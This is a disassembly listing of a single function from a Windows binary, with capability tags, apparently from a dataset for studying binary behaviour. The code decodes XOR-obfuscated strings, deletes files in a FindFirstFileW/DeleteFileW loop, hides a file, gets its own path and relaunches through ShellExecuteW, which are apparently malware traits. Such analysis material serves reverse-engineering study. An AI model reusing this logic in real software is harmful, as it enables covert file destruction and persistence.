Function at 0x140057e50
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x690], 0xfffffffffffffffe
mov qword [rbp + 0x338], rcx
mov ecx, 9
mov edx, 0x41
mov r8d, 0x5a
call fcn.14005b2a0
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm0
mov rcx, rax
call fcn.140141944
mov rbx, rax
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x1400589c3
movabs rcx, 0x7ffffffffffffffe
cmp rbx, 7
ja 0x140057f09
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x570]
mov rdx, rdi
call fcn.140159580
lea rax, [rbx*2 + 0x570]
add rax, rbp
jmp 0x140057f91
mov rax, rbx
or rax, 7
cmp rax, rcx
ja 0x1400590a5
cmp rax, 0xb
mov esi, 0xa
cmovae rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x140057f5d
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x1400590a5
add rcx, 0x29
call fcn.1400b605c
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140057f69
add rcx, 2
call fcn.1400b605c
mov r14, rax
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rsi
lea r8, [rbx + rbx]
mov rcx, r14
mov rdx, rdi
call fcn.140159580
lea rax, [r14 + rbx*2]
mov word [rax], 0
lea rcx, [rbp + 0x570]
call fcn.14005b810
movabs rsi, 0x820a6fb47ddca0b5
mov qword [rbp - 0x40], rsi
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x340], rax
movabs rax, 0xd238ef1bfc3596da
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x348], rax
movabs rax, 0x4335bcf55ff538cd
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x350], rax
movabs rax, 0xc66f3ec5909e42a7
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x358], rax
movabs rax, 0x826f6fc27db9a0db
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x38], rax
movabs rax, 0x434dbc905fdb38bd
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x30], rax
movabs rax, 0xc66f3ec5909e42c2
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x340]
movaps xmm1, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x340], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x350], xmm1
lea rbx, [rbp + 0x340]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400580fb
mov r14, rax
lea r15, [rbp - 0x14]
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rbp - 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax + rax]
mov rcx, r15
call rdi
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
jne 0x1400580e0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x82416fb27dd4a0af
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x210], rax
movabs rax, 0xd255ef0afc6796cd
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x218], rax
movabs rdx, 0x826f6fc27db9a0db
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rcx, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x590], rbx
mov rax, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x340], rsi
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xd255ef6ffc1f96da
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x630], rcx
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x630], rbx
mov rax, qword [rbp + 0x630]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
call fcn.140141944
mov r15, rax
mov r14, qword [rbp + 0x580]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, r15
jb 0x1400589c8
mov r12, qword [rbp + 0x570]
mov r13, qword [rbp + 0x588]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x350], xmm0
lea rsi, [r14 + r15]
mov edi, 7
cmp rsi, 8
jb 0x1400582da
mov rax, rsi
or rax, 7
cmp rax, rcx
ja 0x1400590aa
cmp rax, 0xb
mov edi, 0xa
cmovae rdi, rax
lea rcx, [rdi + rdi]
cmp rdi, 0x7ff
jb 0x1400582c7
movabs rax, 0x7fffffffffffffec
cmp rdi, rax
jae 0x1400590aa
add rcx, 0x29
call fcn.1400b605c
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400582d3
add rcx, 2
call fcn.1400b605c
mov rbx, rax
mov qword [rbp + 0x340], rbx
cmp r13, 8
lea r13, [rbp + 0x570]
cmovae r13, r12
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rdi
lea r8, [r15 + r15]
lea rdx, [rbp + 0x590]
mov rcx, rbx
call fcn.140159580
lea rcx, [rbx + r15*2]
add r14, r14
mov rdx, r13
mov r8, r14
call fcn.140159580
mov word [rbx + rsi*2], 0
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.140141944
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14005836a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea r9, [rbp + 0x210]
mov rdx, rax
call fcn.140044730
mov rdi, rax
jmp 0x1400583a9
lea rsi, [rcx + rax]
mov qword [rbp + 0x350], rsi
lea rdi, [rbp + 0x340]
mov r14, rdi
cmp rdx, 8
jb 0x14005838c
mov r14, qword [rbp + 0x340]
lea rcx, [r14 + rcx*2]
add rax, rax
lea rdx, [rbp + 0x210]
mov r8, rax
call fcn.140159580
mov word [r14 + rsi*2], 0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x640], xmm1
movaps xmmword [rbp + 0x630], xmm0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14005841f
mov rcx, qword [rbp + 0x340]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14005841a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
mov r14, qword [0x140286ac8]
mov r15, qword [str.eaUoVa2wMi7qMy29rCav5qwZWdhhv5Vk11111111111111111111]
movabs rax, 0xeb1b0aa552d0d0ba
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xbc3084008820fcc6
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
movabs rax, 0x434dbc905fdb3880
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0xc66f3ec5909e42c2
mov qword [rbp + 0x340], rcx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x826f6fc27db9a0db
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rax, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x348], rax
movabs rax, 0x434dbc905fdb38bd
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x358], rax
lea rdi, [rbp + 0x340]
mov qword [rbp + 0x210], rdi
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea r13, [rbp + 0x590]
mov rcx, r13
call fcn.14013ff50
test rax, rax
js 0x1400589cd
mov r12, rax
cmp rax, 0xf
ja 0x1400585b9
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], 0xf
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x590]
mov r8, r12
call fcn.140159580
add r12, rbp
add r12, 0x210
jmp 0x14005862d
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x1400585f0
lea rcx, [rsi + 0x28]
call fcn.1400b605c
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x1400585fc
lea rcx, [rsi + 1]
call fcn.1400b605c
mov r13, rax
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], rsi
lea rdx, [rbp + 0x590]
mov rcx, r13
mov r8, r12
call fcn.140159580
add r12, r13
lea r13, [rbp + 0x590]
mov byte [r12], 0
mov rcx, r15
call fcn.14013ff50
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14005866f
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x210]
mov rdx, rax
mov r9, r15
call fcn.14000c430
mov rbx, rax
jmp 0x14005869f
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x220], rsi
mov r12, rbx
cmp rdx, 0x10
jb 0x14005868c
mov r12, qword [rbp + 0x210]
add rcx, r12
mov rdx, r15
mov r8, rax
call fcn.140159580
mov byte [r12 + rsi], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rax, qword [rbp + 0x350]
cmp qword [rbp + 0x358], 0x10
jb 0x1400586df
mov rdi, qword [rbp + 0x340]
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x658], rax
mov rax, qword [r14]
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
lea rbx, [rbp + 0x318]
lea r8, [rbp + 0x650]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x358]
cmp rax, 0x10
jb 0x140058768
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140058763
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x1400587ca
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400587c5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
cmp qword [rbp + 0x648], 8
jb 0x1400587dd
mov rdx, qword [rbp + 0x630]
jmp 0x1400587e4
lea rdx, [rbp + 0x630]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x210]
mov r8d, 0x20
mov r9d, 0x40
call fcn.140041500
mov r8, qword [rbp + 0x328]
cmp r8, 0x1e8480
jbe 0x1400589d2
cmp qword [rbp + 0x330], 0x10
jb 0x140058829
mov rbx, qword [rbp + 0x318]
lea rcx, [rbp + 0x210]
mov rdx, rbx
call fcn.14004ae00
lea rcx, [rbp + 0x210]
call fcn.14001a730
cmp qword [rbp + 0x648], 8
jb 0x140058857
mov rcx, qword [rbp + 0x630]
jmp 0x14005885e
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140059092
mov rcx, qword [rbp + 0x338]
call fcn.140057e50
lea rsi, [rbp + 0x2b8]
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x210], rcx
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x20c], ecx
lea rcx, [rbp + 0x218]
call fcn.1400263f0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2b8], rax
mov rcx, rsi
call fcn.1400b6670
mov rax, qword [rbp + 0x330]
cmp rax, 0x10
jb 0x140058919
mov rcx, qword [rbp + 0x318]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140058914
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
mov rax, qword [rbp + 0x648]
cmp rax, 8
jb 0x140058961
mov rcx, qword [rbp + 0x630]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14005895c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
mov rax, qword [rbp + 0x588]
cmp rax, 8
jb 0x1400589a9
mov rcx, qword [rbp + 0x570]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400589a4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400589be
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400b60a0
nop
add rsp, 0x718
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140137a54
call fcn.140003980
call fcn.140003980
call fcn.140003980
movabs rax, 0x82006fb07dcba09e
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x650], rax
movabs rax, 0xd264ef34fc3f96da
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x658], rax
movabs rax, 0x434dbc905fdb38e0
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x660], rax
movabs r9, 0xc66f3ec5909e42c2
mov qword [rbp + 0x340], r9
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x668], rax
movabs r8, 0x826f6fc27db9a0db
mov qword [rbp + 0x340], r8
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rdx, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x590], rdx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
movabs r10, 0x434dbc905fdb38bd
mov qword [rbp + 0x590], r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x590], r9
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
mov rcx, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rbp + 0x660]
movaps xmmword [rbp + 0x650], xmm0
xorps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movabs rcx, 0x820a6fac7d99a09a
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x590], rcx
movabs rcx, 0xd227ef00fc6896dc
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x598], rcx
movabs rcx, 0x433fbcf55ffb38d6
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0xc64f3eb790f142b0
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0x831a1ff5d85ef5b0
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x7f927736162fec4e
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x34b9bc145020033d
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x69e1f07abe443233
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0x8c173c32dddb6a23
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0x39c928c75cb88013
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d8], rcx
movabs rcx, 0x3800be3a3bcf182a
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e0], rcx
movabs rcx, 0xce4e080915422ba3
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e8], rcx
movabs rcx, 0xf1affeab10773b95
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f0], rcx
movabs rcx, 0xe4825e64155a3904
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f8], rcx
movabs rcx, 0x1e0077dfa0a48737
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x600], rcx
movabs rcx, 0x1a01320f47e46197
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x608], rcx
movabs rcx, 0xb328ab96e90a1b8a
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x610], rcx
movabs rcx, 0x84bccce64713304c
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x618], rcx
movabs rcx, 0x49517b2194ecb9ac
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x620], rcx
movabs rcx, 0xb9d1a0f53679cfbc
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x340], r8
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x670], rdx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x670], r10
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x670], r9
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x358], rcx
movabs rcx, 0x836f1f96d83df5df
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x7ff67753165dec3c
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x368], rcx
movabs rcx, 0x34d5bc6450000311
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x370], rcx
movabs rcx, 0x6984f009be253256
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x378], rcx
movabs rcx, 0x8c723c5addb86a03
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x380], rcx
movabs rcx, 0x39b028e75cd38070
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x388], rcx
movabs rcx, 0x3820be483bba1845
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x390], rcx
movabs rcx, 0xce2b087d152c2bea
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x398], rcx
movabs rcx, 0xf1dbfece10193be7
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0xe4ec5e0b15393924
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x1e7477bca0c18759
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x1a213261478b61fe
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xb308abf2e9641beb
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c0], rcx
movabs rcx, 0x849ccc9f47613038
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c8], rcx
movabs rcx, 0x49387b40948bb9cd
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d0], rcx
movabs rcx, 0xb9d1a0f53657cfd2
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rbp + 0x5b0], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rbp + 0x610], xmm0
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x590]
lea r8, [rbp + 0x650]
xor ecx, ecx
mov r9d, 0x10
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14013491c
cmp qword [rbp + 0x648], 8
jb 0x1400590af
mov rcx, qword [rbp + 0x630]
jmp 0x1400590b6
call fcn.140003730
call fcn.140003730
lea rcx, [rbp + 0x630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x340]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x670]
mov rdx, rbx
call fcn.140003870
movabs rax, 0x820b6fb27dcca0f6
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x550], rax
movabs rax, 0xd275ef0afc6b96c9
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x558], rax
movabs rax, 0x434dbc905fdb389f
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x560], rax
movabs rcx, 0xc66f3ec5909e42c2
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x568], rax
movabs rax, 0x826f6fc27db9a0db
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x590], rax
movabs rax, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x598], rax
movabs rax, 0x434dbc905fdb38bd
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x650], r13
mov rax, qword [rbp + 0x650]
movaps xmm0, xmmword [rbp + 0x550]
movaps xmm1, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x550], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x560], xmm1
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x670]
call fcn.14004b1e0
lea r8, [0x14018e188]
lea rbx, [rbp + 0x590]
lea rdx, [rbp + 0x650]
mov rcx, rbx
call fcn.14005a780
lea rdi, [rbp + 0x650]
mov rcx, rdi
call fcn.140002f40
lea rcx, [rbp + 0x670]
call fcn.140002f40
cmp qword [rbp + 0x5a8], 8
jb 0x14005926a
mov rbx, qword [rbp + 0x590]
cmp qword [rbp + 0x648], 8
jb 0x14005927d
mov r8, qword [rbp + 0x630]
jmp 0x140059284
lea r8, [rbp + 0x630]
movabs rax, 0x82016fa77dc9a0b4
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x670], rax
movabs rcx, 0xd255ef6ffc1f96a8
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x678], rax
movabs rax, 0x826f6fc27db9a0db
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x550], rdi
mov rax, qword [rbp + 0x550]
movaps xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x670], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x670]
xor ecx, ecx
mov r9, rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14013491c
int3